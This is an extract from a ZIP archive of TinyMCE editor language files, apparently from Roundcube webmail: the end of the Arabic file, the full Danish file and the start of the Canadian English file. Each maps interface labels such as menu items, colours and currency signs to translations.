"ruble sign": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0631\u0648\u0628\u0644",
"yen character": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u064a\u0646",
"yuan character": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u064a\u0648\u0627\u0646",
"yuan character, in hong kong and taiwan": "\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u064a\u0648\u0627\u0646 \u0641\u064a \u0647\u0648\u0646\u062c \u0643\u0648\u0646\u062c \u0648\u062a\u0627\u064a\u0648\u0627\u0646",
"yen\/yuan character variant one": "\u0627\u0644\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u0628\u062f\u064a\u0644\u0629 \u0644\u0639\u0644\u0627\u0645\u0629 \u0627\u0644\u064a\u0646\/\u0627\u0644\u064a\u0648\u0627\u0646",
"Loading emoticons...": "\u062c\u0627\u0631\u064d \u062a\u062d\u0645\u064a\u0644 \u0631\u0645\u0648\u0632 \u0627\u0644\u0645\u0634\u0627\u0639\u0631...",
"Could not load emoticons": "\u062c\u0627\u0631\u064d \u062a\u062d\u0645\u064a\u0644 \u0631\u0645\u0648\u0632 \u0627\u0644\u0645\u0634\u0627\u0639\u0631",
"People": "\u0623\u0634\u062e\u0627\u0635",
"Animals and Nature": "\u0627\u0644\u062d\u064a\u0648\u0627\u0646\u0627\u062a \u0648\u0627\u0644\u0637\u0628\u064a\u0639\u0629",
"Food and Drink": "\u0627\u0644\u0623\u0637\u0639\u0645\u0629 \u0648\u0627\u0644\u0645\u0634\u0631\u0648\u0628\u0627\u062a",
"Activity": "\u0627\u0644\u0646\u0634\u0627\u0637",
"Travel and Places": "\u0627\u0644\u0633\u0641\u0631 \u0648\u0627\u0644\u0623\u0645\u0627\u0643\u0646 \u0633\u064a\u0627\u062d\u064a\u0629",
"Objects": "\u0643\u0627\u0626\u0646\u0627\u062a",
"Flags": "\u0627\u0644\u0639\u0644\u0627\u0645\u0627\u062a",
"Characters": "\u0627\u0644\u0623\u062d\u0631\u0641",
"Characters (no spaces)": "\u0627\u0644\u0623\u062d\u0631\u0641 (\u062f\u0648\u0646 \u0627\u0644\u0645\u0633\u0627\u0641\u0627\u062a)",
"{0} characters": "{0} \u0631\u0645\u0648\u0632",
"Error: Form submit field collision.": "\u062e\u0637\u0623: \u062a\u0636\u0627\u0631\u0628 \u0641\u064a \u062d\u0642\u0644 \u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u0646\u0645\u0648\u0630\u062c.",
"Error: No form element found.": "\u0627\u0644\u062e\u0637\u0623: \u0644\u0645 \u064a\u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0639\u0646\u0635\u0631 \u0646\u0645\u0648\u0630\u062c.",
"Update": "\u062a\u062d\u062f\u064a\u062b",
"Color swatch": "\u0639\u064a\u0646\u0627\u062a \u0627\u0644\u0623\u0644\u0648\u0627\u0646",
"Turquoise": "\u0641\u064a\u0631\u0648\u0632\u064a",
"Green": "\u0623\u062e\u0636\u0631",
"Blue": "\u0623\u0632\u0631\u0642",
"Purple": "\u0628\u0646\u0641\u0633\u062c\u064a",
"Navy Blue": "\u0623\u0632\u0631\u0642 \u0646\u064a\u0644\u064a",
"Dark Turquoise": "\u0641\u064a\u0631\u0648\u0632\u064a \u062f\u0627\u0643\u0646",
"Dark Green": "\u0623\u062e\u0636\u0631 \u062f\u0627\u0643\u0646",
"Medium Blue": "\u0623\u0632\u0631\u0642 \u0645\u062a\u0648\u0633\u0637",
"Medium Purple": "\u0628\u0646\u0641\u0633\u062c\u064a \u0645\u062a\u0648\u0633\u0637",
"Midnight Blue": "\u0623\u0632\u0631\u0642 \u062f\u0627\u0643\u0646 \u062c\u062f\u0627\u064b",
"Yellow": "\u0623\u0635\u0641\u0631",
"Orange": "\u0628\u0631\u062a\u0642\u0627\u0644\u064a",
"Red": "\u0623\u062d\u0645\u0631",
"Light Gray": "\u0631\u0645\u0627\u062f\u064a \u0641\u0627\u062a\u062d",
"Gray": "\u0631\u0645\u0627\u062f\u064a",
"Dark Yellow": "\u0623\u0635\u0641\u0631 \u062f\u0627\u0643\u0646",
"Dark Orange": "\u0628\u0631\u062a\u0642\u0627\u0644\u064a \u062f\u0627\u0643\u0646",
"Dark Red": "\u0623\u062d\u0645\u0631 \u062f\u0627\u0643\u0646",
"Medium Gray": "\u0631\u0645\u0627\u062f\u064a \u0645\u062a\u0648\u0633\u0637",
"Dark Gray": "\u0631\u0645\u0627\u062f\u064a \u062f\u0627\u0643\u0646",
"Light Green": "\u0623\u062e\u0636\u0631 \u0641\u0627\u062a\u062d",
"Light Yellow": "\u0623\u0635\u0641\u0631 \u0641\u0627\u062a\u062d",
"Light Red": "\u0623\u062d\u0645\u0631 \u0641\u0627\u062a\u062d",
"Light Purple": "\u0628\u0646\u0641\u0633\u062c\u064a \u0641\u0627\u062a\u062d",
"Light Blue": "\u0623\u0632\u0631\u0642 \u0641\u0627\u062a\u062d",
"Dark Purple": "\u0623\u0631\u062c\u0648\u0627\u0646\u064a \u062f\u0627\u0643\u0646",
"Dark Blue": "\u0623\u0632\u0631\u0642 \u062f\u0627\u0643\u0646",
"Black": "\u0623\u0633\u0648\u062f",
"White": "\u0623\u0628\u064a\u0636",
"Switch to or from fullscreen mode": "\u0627\u0644\u062a\u0628\u062f\u064a\u0644 \u0625\u0644\u0649 \u0623\u0648 \u0645\u0646 \u0648\u0636\u0639 \u0645\u0644\u0621 \u0627\u0644\u0634\u0627\u0634\u0629",
"Open help dialog": "\u0627\u0641\u062a\u062d \u062d\u0648\u0627\u0631 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a",
"history": "\u0627\u0644\u0645\u062d\u0641\u0648\u0638\u0627\u062a",
"styles": "\u0627\u0644\u0623\u0646\u0645\u0627\u0637",
"formatting": "\u062a\u0646\u0633\u064a\u0642",
"alignment": "\u0645\u062d\u0627\u0630\u0627\u0629",
"indentation": "\u0645\u0633\u0627\u0641\u0629 \u0628\u0627\u062f\u0626\u0629",
"permanent pen": "\u0642\u0644\u0645 \u062b\u0627\u0628\u062a",
"comments": "\u0627\u0644\u062a\u0639\u0644\u064a\u0642\u0627\u062a",
"Format Painter": "\u0646\u0627\u0633\u062e \u0627\u0644\u062a\u0646\u0633\u064a\u0642",
"Insert\/edit iframe": "\u0625\u062f\u0631\u0627\u062c\/\u062a\u062d\u0631\u064a\u0631 \u0625\u0637\u0627\u0631 \u0645\u062f\u0645\u062c",
"Capitalization": "\u0643\u062a\u0627\u0628\u0629 \u0628\u0627\u0644\u0623\u062d\u0631\u0641 \u0627\u0644\u0643\u0628\u064a\u0631\u0629",
"lowercase": "\u0623\u062d\u0631\u0641 \u0635\u063a\u064a\u0631\u0629",
"UPPERCASE": "\u0623\u062d\u0631\u0641 \u0643\u0628\u064a\u0631\u0629",
"Title Case": "\u062d\u0627\u0644\u0629 \u0623\u062d\u0631\u0641 \u0627\u0644\u0639\u0646\u0648\u0627\u0646",
"Permanent Pen Properties": "\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0642\u0644\u0645 \u0627\u0644\u062b\u0627\u0628\u062a",
"Permanent pen properties...": "\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0642\u0644\u0645 \u0627\u0644\u062b\u0627\u0628\u062a...",
"Font": "\u0627\u0644\u062e\u0637",
"Size": "\u0627\u0644\u062d\u062c\u0645",
"More...": "\u0627\u0644\u0645\u0632\u064a\u062f...",
"Spellcheck Language": "\u0644\u063a\u0629 \u0627\u0644\u062a\u062f\u0642\u064a\u0642 \u0627\u0644\u0625\u0645\u0644\u0627\u0626\u064a",
"Select...": "\u062a\u062d\u062f\u064a\u062f...",
"Preferences": "\u0627\u0644\u062a\u0641\u0636\u064a\u0644\u0627\u062a",
"Yes": "\u0646\u0639\u0645",
"No": "\u0644\u0627",
"Keyboard Navigation": "\u0627\u0644\u062a\u0646\u0642\u0644 \u0628\u0648\u0627\u0633\u0637\u0629 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d",
"Version": "\u0627\u0644\u0625\u0635\u062f\u0627\u0631",
"Anchor": "\u0645\u0631\u0633\u0627\u0629",
"Special character": "\u0631\u0645\u0632",
"Code sample": "\u0639\u064a\u0651\u0646\u0629 \u0639\u0646 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0628\u0631\u0645\u062c\u064a",
"Color": "\u0627\u0644\u0644\u0648\u0646",
"Emoticons": "\u0627\u0644\u0631\u0645\u0648\u0632",
"Document properties": "\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0645\u0633\u062a\u0646\u062f",
"Image": "\u0627\u0644\u0635\u0648\u0631\u0629",
"Insert link": "\u0625\u062f\u0631\u0627\u062c \u0631\u0627\u0628\u0637",
"Target": "\u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0647\u062f\u0641",
"Link": "\u0627\u0644\u0631\u0627\u0628\u0637",
"Poster": "\u0645\u0644\u0635\u0642",
"Media": "\u0627\u0644\u0648\u0633\u0627\u0626\u0637 \u0627\u0644\u0645\u062a\u0639\u062f\u062f\u0629",
"Print": "\u0637\u0628\u0627\u0639\u0629",
"Prev": "\u0627\u0644\u0633\u0627\u0628\u0642",
"Find and replace": "\u0628\u062d\u062b \u0648\u0627\u0633\u062a\u0628\u062f\u0627\u0644",
"Whole words": "\u0645\u0637\u0627\u0628\u0642\u0629 \u0627\u0644\u0643\u0644\u0645\u0627\u062a \u0628\u0627\u0644\u0643\u0627\u0645\u0644",
"Spellcheck": "\u062a\u062f\u0642\u064a\u0642 \u0625\u0645\u0644\u0627\u0626\u064a",
"Caption": "\u0634\u0631\u062d",
"Insert template": "\u0625\u062f\u0631\u0627\u062c \u0642\u0627\u0644\u0628",
"_dir": "rtl"
});PK
h�\O>:��B�Bprogram/js/tinymce/langs/da.jsnu�[���tinymce.addI18n('da',{
"Redo": "Gendan",
"Undo": "Fortryd",
"Cut": "Klip",
"Copy": "Kopier",
"Paste": "S\u00e6t ind",
"Select all": "V\u00e6lg alle",
"New document": "Nyt dokument",
"Ok": "Ok",
"Cancel": "Annuller",
"Visual aids": "Visuel hj\u00e6lp",
"Bold": "Fed",
"Italic": "Kursiv",
"Underline": "Understreget",
"Strikethrough": "Gennemstreget",
"Superscript": "H\u00e6vet skrift",
"Subscript": "S\u00e6nket skrift",
"Clear formatting": "Nulstil formattering",
"Align left": "Opstil til venstre",
"Align center": "Centrer",
"Align right": "Opstil til h\u00f8jre",
"Justify": "Justering",
"Bullet list": "Punktopstillet liste",
"Numbered list": "Nummereret liste",
"Decrease indent": "Formindsk indrykning",
"Increase indent": "For\u00f8g indrykning",
"Close": "Luk",
"Formats": "Formater",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Din browser underst\u00f8tter ikke direkte adgang til udklipsholder. Benyt Ctrl+X\/C\/ tastaturgenveje i stedet for.",
"Headers": "Overskrifter",
"Header 1": "Overskrift 1",
"Header 2": "Overskrift 2",
"Header 3": "Overskrift 3",
"Header 4": "Overskrift 4",
"Header 5": "Overskrift 5",
"Header 6": "Overskrift 6",
"Headings": "Overskrifter",
"Heading 1": "Overskrift 1",
"Heading 2": "Overskrift 2",
"Heading 3": "Overskrift 3",
"Heading 4": "Overskrift 4",
"Heading 5": "Overskrift 5",
"Heading 6": "Overskrift 6",
"Preformatted": "Forudformateret",
"Div": "Div",
"Pre": "Pre",
"Code": "Kode",
"Paragraph": "Afsnit",
"Blockquote": "Blockquote",
"Inline": "Inline",
"Blocks": "Blokke",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "S\u00e6t ind er indstillet til at inds\u00e6tte som ren tekst. Indhold bliver nu indsat uden formatering indtil du \u00e6ndrer indstillingen.",
"Fonts": "Skrifttyper",
"Font Sizes": "Skriftst\u00f8rrelse",
"Class": "Class",
"Browse for an image": "S\u00f8g efter et billede",
"OR": "OR",
"Drop an image here": "Slip et billede her",
"Upload": "Upload",
"Block": "Blok\u00e9r",
"Align": "Align",
"Default": "Standard",
"Circle": "Cirkel",
"Disc": "Disk",
"Square": "Kvadrat",
"Lower Alpha": "Lower Alpha",
"Lower Greek": "Lower Gr\u00e6sk",
"Lower Roman": "Lower Roman",
"Upper Alpha": "Upper Alpha",
"Upper Roman": "Upper Roman",
"Anchor...": "Anker...",
"Name": "Navn",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id b\u00f8r starte med et bogstav, efterfulgt af bogstaver, tal, bindestreger, punktummer, koloner eller underscores.",
"You have unsaved changes are you sure you want to navigate away?": "Du har ikke gemte \u00e6ndringer. Er du sikker p\u00e5 at du vil forts\u00e6tte?",
"Restore last draft": "Genopret sidste kladde",
"Special character...": "Specielle tegn...",
"Source code": "Kildekode",
"Insert\/Edit code sample": "Inds\u00e6t\/Ret kodeeksempel",
"Language": "Sprog",
"Code sample...": "Kodeeksempel...",
"Color Picker": "Farvev\u00e6lger",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Venstre til h\u00f8jre",
"Right to left": "H\u00f8jre til venstre",
"Emoticons": "Emot-ikoner",
"Emoticons...": "Emotikoner...",
"Metadata and Document Properties": "Metadata og dokumentegenskaber",
"Title": "Titel",
"Keywords": "S\u00f8geord",
"Description": "Beskrivelse",
"Robots": "Robotter",
"Author": "Forfatter",
"Encoding": "Kodning",
"Fullscreen": "Fuldsk\u00e6rm",
"Action": "Handling",
"Shortcut": "Genvej",
"Help": "Hj\u00e6lp",
"Address": "Adresse",
"Focus to menubar": "Fokus p\u00e5 menulinjen",
"Focus to toolbar": "Fokus p\u00e5 v\u00e6rkt\u00f8jslinjen",
"Focus to element path": "Fokuser p\u00e5 elementvej",
"Focus to contextual toolbar": "Fokuser p\u00e5 kontekstuelle v\u00e6rkt\u00f8jslinje",
"Insert link (if link plugin activated)": "Inds\u00e6t link (hvis link plugin er aktiveret)",
"Save (if save plugin activated)": "Gem (hvis save plugin er aktiveret)",
"Find (if searchreplace plugin activated)": "Find (hvis searchreplace plugin er aktiveret)",
"Plugins installed ({0}):": "Installerede plugins ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "L\u00e6r mere...",
"You are using {0}": "Du benytter {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Praktiske Genveje",
"Horizontal line": "Vandret linie",
"Insert\/edit image": "Inds\u00e6t\/ret billede",
"Alternative description": "Alternativ beskrivelse",
"Accessibility": "Tilg\u00e6ngelighed",
"Image is decorative": "Billede er dekorativt",
"Source": "Kilde",
"Dimensions": "Dimensioner",
"Constrain proportions": "Behold propertioner",
"General": "Generet",
"Advanced": "Avanceret",
"Style": "Stil",
"Vertical space": "Lodret afstand",
"Horizontal space": "Vandret afstand",
"Border": "Kant",
"Insert image": "Inds\u00e6t billede",
"Image...": "Billede...",
"Image list": "Billede liste",
"Rotate counterclockwise": "Drej modsat urets retning",
"Rotate clockwise": "Drej med urets retning",
"Flip vertically": "Flip vertikalt",
"Flip horizontally": "Flip horisontalt",
"Edit image": "Rediger billede",
"Image options": "Billede indstillinger",
"Zoom in": "Zoom ind",
"Zoom out": "Zoom ud",
"Crop": "Besk\u00e6r",
"Resize": "Skaler",
"Orientation": "Retning",
"Brightness": "Lysstyrke",
"Sharpen": "G\u00f8r skarpere",
"Contrast": "Kontrast",
"Color levels": "Farve niveauer",
"Gamma": "Gamma",
"Invert": "Inverter",
"Apply": "Anvend",
"Back": "Tilbage",
"Insert date\/time": "Inds\u00e6t dato\/klokkeslet",
"Date\/time": "Dato\/klokkeslet",
"Insert\/edit link": "Inds\u00e6t\/ret link",
"Text to display": "Vis tekst",
"Url": "Url",
"Open link in...": "\u00c5bn link med...",
"Current window": "Aktuelle vindue",
"None": "Ingen",
"New window": "Nyt vindue",
"Open link": "\u00c5ben link",
"Remove link": "Fjern link",
"Anchors": "Ankre",
"Link...": "Link...",
"Paste or type a link": "Inds\u00e6t eller skriv et link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "URLen som du angav ser ud til at v\u00e6re en email adresse. \u00d8nsker du at tilf\u00f8je det kr\u00e6vede prefiks  mailto: ?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "URLen som du angav ser ud til at v\u00e6re et eksternt link. \u00d8nsker du at tilf\u00f8je det kr\u00e6vede prefiks http:\/\/ ?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "URL'en som du angav ser ud til at v\u00e6re et eksternt link. \u00d8nsker du at tilf\u00f8je det n\u00f8dvendige https:\/\/ pr\u00e6fiks?",
"Link list": "Link liste",
"Insert video": "Inds\u00e6t video",
"Insert\/edit video": "Inds\u00e6t\/ret video",
"Insert\/edit media": "Inds\u00e6t\/ret medier",
"Alternative source": "Alternativ kilde",
"Alternative source URL": "Alternativ kilde URL",
"Media poster (Image URL)": "Medieplakat (billede URL)",
"Paste your embed code below:": "Inds\u00e6t din embed kode herunder:",
"Embed": "Integrer",
"Media...": "Medie...",
"Nonbreaking space": "H\u00e5rdt mellemrum",
"Page break": "Sideskift",
"Paste as text": "Inds\u00e6t som ren tekst",
"Preview": "Forh\u00e5ndsvisning",
"Print...": "Udskriv...",
"Save": "Gem",
"Find": "Find",
"Replace with": "Erstat med",
"Replace": "Erstat",
"Replace all": "Erstat alt",
"Previous": "Forrige",
"Next": "N\u00e6ste",
"Find and Replace": "Find og erstat",
"Find and replace...": "Find og erstat...",
"Could not find the specified string.": "Kunne ikke finde s\u00f8getekst",
"Match case": "STORE og sm\u00e5 bogstaver",
"Find whole words only": "Find kun hele ord",
"Find in selection": "Find i det valgte",
"Spellcheck": "Stavekontrol",
"Spellcheck Language": "Sprog til stavekontrol",
"No misspellings found.": "Ingen stavefejl fundet.",
"Ignore": "Ignorer",
"Ignore all": "Ignorer alt",
"Finish": "F\u00e6rdig",
"Add to Dictionary": "Tilf\u00f8j til ordbog",
"Insert table": "Inds\u00e6t tabel",
"Table properties": "Tabel egenskaber",
"Delete table": "Slet tabel",
"Cell": "Celle",
"Row": "R\u00e6kke",
"Column": "Kolonne",
"Cell properties": "Celle egenskaber",
"Merge cells": "Flet celler",
"Split cell": "Split celle",
"Insert row before": "Inds\u00e6t r\u00e6kke f\u00f8r",
"Insert row after": "Inds\u00e6t r\u00e6kke efter",
"Delete row": "Slet r\u00e6kke",
"Row properties": "R\u00e6kke egenskaber",
"Cut row": "Klip r\u00e6kke",
"Copy row": "Kopier r\u00e6kke",
"Paste row before": "Inds\u00e6t r\u00e6kke f\u00f8r",
"Paste row after": "Inds\u00e6t r\u00e6kke efter",
"Insert column before": "Inds\u00e6t kolonne f\u00f8r",
"Insert column after": "Inds\u00e6t kolonne efter",
"Delete column": "Slet kolonne",
"Cols": "Kolonne",
"Rows": "R\u00e6kker",
"Width": "Bredde",
"Height": "H\u00f8jde",
"Cell spacing": "Celle afstand",
"Cell padding": "Celle padding",
"Caption": "Tekst",
"Show caption": "Vis overskrift",
"Left": "Venstre",
"Center": "Centrering",
"Right": "H\u00f8jre",
"Cell type": "Celle type",
"Scope": "Anvendelsesomr\u00e5de",
"Alignment": "Tilpasning",
"H Align": "H juster",
"V Align": "V juster",
"Top": "Top",
"Middle": "Midt",
"Bottom": "Bund",
"Header cell": "Sidehoved celle",
"Row group": "R\u00e6kke gruppe",
"Column group": "Kolonne gruppe",
"Row type": "R\u00e6kke type",
"Header": "Sidehoved",
"Body": "Krop",
"Footer": "Sidefod",
"Border color": "Kant farve",
"Insert template...": "Inds\u00e6t skabelon...",
"Templates": "Skabeloner",
"Template": "Skabelon",
"Text color": "Tekst farve",
"Background color": "Baggrunds farve",
"Custom...": "Brugerdefineret...",
"Custom color": "Brugerdefineret farve",
"No color": "Ingen farve",
"Remove color": "Fjern farve",
"Table of Contents": "Indholdsfortegnelse",
"Show blocks": "Vis klokke",
"Show invisible characters": "Vis usynlige tegn",
"Word count": "Optalte ord",
"Count": "Antal",
"Document": "Dokument",
"Selection": "Valg",
"Words": "Ord",
"Words: {0}": "Ord: {0}",
"{0} words": "{0} ord",
"File": "Fil",
"Edit": "Rediger",
"Insert": "Inds\u00e6t",
"View": "Vis",
"Format": "Format",
"Table": "Tabel",
"Tools": "V\u00e6rkt\u00f8j",
"Powered by {0}": "Drevet af {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text omr\u00e5de. Tryk ALT-F9 for menu. Tryk ALT-F10 for toolbar. Tryk ALT-0 for hj\u00e6lp",
"Image title": "Billedtitel",
"Border width": "Kantbredde",
"Border style": "Kantstil",
"Error": "Fejl",
"Warn": "Advar",
"Valid": "Gyldig",
"To open the popup, press Shift+Enter": "Tryk skift + enter for at \u00e5bne pop op",
"Rich Text Area. Press ALT-0 for help.": "Rich tekst omr\u00e5de. Tryk p\u00e5 ALT-0 for hj\u00e6lp.",
"System Font": "Systemskrifttype",
"Failed to upload image: {0}": "Mislykket billed-upload:",
"Failed to load plugin: {0} from url {1}": "Mislykket plugin indl\u00e6sning: {0}  fra url {1}",
"Failed to load plugin url: {0}": "Mislykket indl\u00e6sning af plugin-url: {0}",
"Failed to initialize plugin: {0}": "Mislykket initiering a plugin: {0}",
"example": "eksempel",
"Search": "S\u00f8g",
"All": "Alle",
"Currency": "Valuta",
"Text": "Tekst",
"Quotations": "Anf\u00f8rselstegn",
"Mathematical": "Matematiske tegn",
"Extended Latin": "Udvidet Latin",
"Symbols": "Symboler",
"Arrows": "Pile",
"User Defined": "Brugerdefineret",
"dollar sign": "dollartegn",
"currency sign": "valutategn",
"euro-currency sign": "euro-tegn",
"colon sign": "kolontegn",
"cruzeiro sign": "cruzeiro-tegn",
"french franc sign": "fransk frank-tegn",
"lira sign": "lira-tegn",
"mill sign": "mill-tegn",
"naira sign": "naira-tegn",
"peseta sign": "peseta-tegn",
"rupee sign": "rupee-tegn",
"won sign": "won-tegn",
"new sheqel sign": "ny sheqel-tegn",
"dong sign": "dong-tegn",
"kip sign": "kip-tegn",
"tugrik sign": "tugrik-tegn",
"drachma sign": "drakmer-tegn",
"german penny symbol": "tysk penny-symbol",
"peso sign": "peso-tegn",
"guarani sign": "guarani-tegn",
"austral sign": "austral-tegn",
"hryvnia sign": "hryvnia-tegn",
"cedi sign": "cedi-tegn",
"livre tournois sign": "livre tournois-tegn",
"spesmilo sign": "spesmilo-tegn",
"tenge sign": "tenge-tegn",
"indian rupee sign": "indisk rupee-tegn",
"turkish lira sign": "tyrkisk lira-tegn",
"nordic mark sign": "nordisk mark-tegn",
"manat sign": "manat-tegn",
"ruble sign": "rubel-tegn",
"yen character": "yen-tegn",
"yuan character": "yuan-tegn",
"yuan character, in hong kong and taiwan": "yuan-tegn, i hong kong og taiwan",
"yen\/yuan character variant one": "yen\/yuan-tegn variant en",
"Loading emoticons...": "Indl\u00e6ser emotikoner...",
"Could not load emoticons": "Kunne ikke indl\u00e6se emotikoner",
"People": "Folk",
"Animals and Nature": "Dyr og natur",
"Food and Drink": "F\u00f8de og drikke",
"Activity": "Aktivitet",
"Travel and Places": "Rejser og steder",
"Objects": "Objekter",
"Flags": "Flag",
"Characters": "Tegn",
"Characters (no spaces)": "Tegn (uden mellemrum)",
"{0} characters": "{0} tegn",
"Error: Form submit field collision.": "Fejl: Form submit felt kollision",
"Error: No form element found.": "Fejl: Ingen form element fundet.",
"Update": "Opdater",
"Color swatch": "Farvepr\u00f8ve",
"Turquoise": "Turkis",
"Green": "Gr\u00f8n",
"Blue": "Bl\u00e5",
"Purple": "Lilla",
"Navy Blue": "Marinebl\u00e5",
"Dark Turquoise": "M\u00f8rketurkis",
"Dark Green": "M\u00f8rkegr\u00f8n",
"Medium Blue": "Medium bl\u00e5",
"Medium Purple": "Medium lilla",
"Midnight Blue": "Midnatsbl\u00e5",
"Yellow": "Gul",
"Orange": "Orange",
"Red": "R\u00f8d",
"Light Gray": "Lysegr\u00e5",
"Gray": "Gr\u00e5",
"Dark Yellow": "M\u00f8rkegul",
"Dark Orange": "M\u00f8rkeorange",
"Dark Red": "M\u00f8rker\u00f8d",
"Medium Gray": "Mellemgr\u00e5",
"Dark Gray": "M\u00f8rkegr\u00e5",
"Light Green": "Lysegr\u00f8n",
"Light Yellow": "Lysegul",
"Light Red": "Lyser\u00f8d",
"Light Purple": "Lyslilla",
"Light Blue": "Lysebl\u00e5",
"Dark Purple": "M\u00f8rkelilla",
"Dark Blue": "M\u00f8rkebl\u00e5",
"Black": "Sort",
"White": "Hvid",
"Switch to or from fullscreen mode": "Skift til eller fra fuldsk\u00e6rmstilstand",
"Open help dialog": "\u00c5bn hj\u00e6lpedialog",
"history": "historie",
"styles": "stile",
"formatting": "formatering",
"alignment": "justering",
"indentation": "indrykning",
"Font": "Skrifttype",
"Size": "St\u00f8rrelse",
"More...": "Mere...",
"Select...": "V\u00e6lg...",
"Preferences": "Pr\u00e6ferencer",
"Yes": "Ja",
"No": "Nej",
"Keyboard Navigation": "Navigation med tastatur",
"Version": "Version",
"Code view": "Kodevisning",
"Open popup menu for split buttons": "\u00c5ben popup menu for split knapper",
"List Properties": "List indstillinger",
"List properties...": "List indstillinger...",
"Start list at number": "Start liste ved nummer",
"Line height": "Linjeh\u00f8jde",
"comments": "kommentarer",
"Format Painter": "Formatpensel",
"Insert\/edit iframe": "Inds\u00e6t\/rediger iframe",
"Capitalization": "Store bogstaver",
"lowercase": "sm\u00e5 bogstaver",
"UPPERCASE": "STORE BOGSTAVER",
"Title Case": "Stort begyndelsesbogstav",
"permanent pen": "permanent pen",
"Permanent Pen Properties": "Permanente penegenskaber",
"Permanent pen properties...": "Permanente penegenskaber...",
"case change": "\u00e6ndring af stort\/sm\u00e5t",
"page embed": "side indlejring",
"Advanced sort...": "Avanceret sortering...",
"Advanced Sort": "Avanceret sortering",
"Sort table by column ascending": "Sorter tabel efter kolonne stigende",
"Sort table by column descending": "Sorter tabel efter kolonne faldende",
"Sort": "Sorter",
"Order": "R\u00e6kkef\u00f8lge",
"Sort by": "Sorter efter",
"Ascending": "Stigende",
"Descending": "Faldende",
"Column {0}": "Kolonne {0}",
"Row {0}": "R\u00e6kke {0}",
"Spellcheck...": "Stavekontrol...",
"Misspelled word": "Ord med stavefejl",
"Suggestions": "Forslag",
"Change": "\u00c6ndring",
"Finding word suggestions": "Finder ord forslag",
"Success": "Succes",
"Repair": "Reparer",
"Issue {0} of {1}": "Problem {0} ud af {1}",
"Images must be marked as decorative or have an alternative text description": "Billeder skal markeres som dekorative eller have en alternativ tekstbeskrivelse",
"Images must have an alternative text description. Decorative images are not allowed.": "Billeder skal have en alternativ tekstbeskrivelse. Dekorative billeder er ikke tilladte.",
"Or provide alternative text:": "Eller angiv en alternativ tekst:",
"Make image decorative:": "G\u00f8r billede dekorativ:",
"ID attribute must be unique": "ID attribut skal v\u00e6re unik",
"Make ID unique": "G\u00f8r ID unik",
"Keep this ID and remove all others": "Behold dette ID og fjern alle andre",
"Remove this ID": "Fjern dette ID",
"Remove all IDs": "Fjern alle ID'er",
"Checklist": "Kontrolliste",
"Anchor": "Anchor",
"Special character": "Specielle tegn",
"Code sample": "Kodepr\u00f8ve",
"Color": "Farve",
"Document properties": "Dokument egenskaber",
"Image description": "Billede beskrivelse",
"Image": "Billede",
"Insert link": "Inds\u00e6t link",
"Target": "Target",
"Link": "Link",
"Poster": "Poster",
"Media": "Medier",
"Print": "Udskriv",
"Prev": "Forrige",
"Find and replace": "Find og erstat",
"Whole words": "Hele ord",
"Insert template": "Inds\u00e6t skabelon"
});PK
h�\_[G�q!q!!program/js/tinymce/langs/en_CA.jsnu�[���tinymce.addI18n('en_CA',{
"Redo": "Redo",
"Undo": "Undo",
"Cut": "Cut",
"Copy": "Copy",
"Paste": "Paste",
"Select all": "Select all",
"New document": "New document",
"Ok": "Ok",
"Cancel": "Cancel",
"Visual aids": "Visual aids",
"Bold": "Bold",
"Italic": "Italic",
"Underline": "Underline",
"Strikethrough": "Strikethrough",
"Superscript": "Superscript",
"Subscript": "Subscript",
"Clear formatting": "Clear formatting",
"Align left": "Align left",
"Align center": "Align center",
"Align right": "Align right",
"Justify": "Justify",
"Bullet list": "Bullet list",
"Numbered list": "Numbered list",
"Decrease indent": "Decrease indent",
"Increase indent": "Increase indent",
"Close": "Close",
"Formats": "Formats",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.",
"Headers": "Headers",
"Header 1": "Header 1",
"Header 2": "Header 2",
"Header 3": "Header 3",
"Header 4": "Header 4",
"Header 5": "Header 5",
"Header 6": "Header 6",
"Headings": "Headings",
"Heading 1": "Heading 1",
"Heading 2": "Heading 2",
"Heading 3": "Heading 3",
"Heading 4": "Heading 4",
"Heading 5": "Heading 5",
"Heading 6": "Heading 6",
"Preformatted": "Preformatted",
"Div": "Div",
"Pre": "Pre",
"Code": "Code",
"Paragraph": "Paragraph",
"Blockquote": "Blockquote",
"Inline": "Inline",
"Blocks": "Blocks",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",
"Font Family": "Font Family",
"Font Sizes": "Font Sizes",
"Class": "Class",
"Browse for an image": "Browse for an image",
"OR": "OR",
"Drop an image here": "Drop an image here",
"Upload": "Upload",
"Block": "Blocks",
"Align": "Align",
"Default": "Default",
"Circle": "Circle",
"Disc": "Disc",
"Square": "Square",
"Lower Alpha": "Lower Alpha",
"Lower Greek": "Lower Greek",
"Lower Roman": "Lower Roman",
